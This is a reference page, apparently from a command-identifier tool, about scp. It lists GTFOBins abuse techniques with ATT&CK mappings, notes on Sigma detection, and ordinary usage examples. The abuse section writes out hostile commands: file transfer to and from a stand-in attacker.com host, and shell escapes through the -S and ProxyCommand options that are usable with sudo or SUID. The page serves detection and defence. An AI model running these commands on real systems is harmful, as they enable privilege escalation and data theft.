Identifier / Programs / Linux and Unix
scp
Secure copy. Copy files between hosts using Secure Copy Protocol over SSH. tldr-pages
GTFOBins shell 1 ATT&CK technique 4 documented commands
How scp is abused
shell T1059.004 Command and Scripting Interpreter: Unix Shell
-Sshell T1059.004 Command and Scripting Interpreter: Unix Shell
-oEach abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for scp.
4 documented commands
download unprivileged, with sudo, as SUID
scp user@attacker.com:/path/to/input-file /path/to/output-fileshell unprivileged, with sudo, as SUID
echo 'exec /bin/sh 0<&2 1>&2' >/path/to/temp-file
chmod +x /path/to/temp-file
scp -S /path/to/temp-file x x:shell unprivileged, with sudo, as SUID
scp -o 'ProxyCommand=;/bin/sh 0<&2 1>&2' x x:upload unprivileged, with sudo, as SUID
scp /path/to/input-file user@attacker.com:/path/to/output-fileNone of the 4 commands the identifier reads trips a Sigma process-creation rule. These commands are from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for scp. The identifier reads the line of each that runs scp.
What detects it
Everyday use
Copy a local file to a remote host
scp path/to/local_file remote_host:path/to/remote_fileIdentifyUse a specific port when connecting to the remote host
scp -P port path/to/local_file remote_host:path/to/remote_fileIdentifyCopy a file from a remote host to a local directory
scp remote_host:path/to/remote_file path/to/local_directoryIdentifyNone of the 3 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.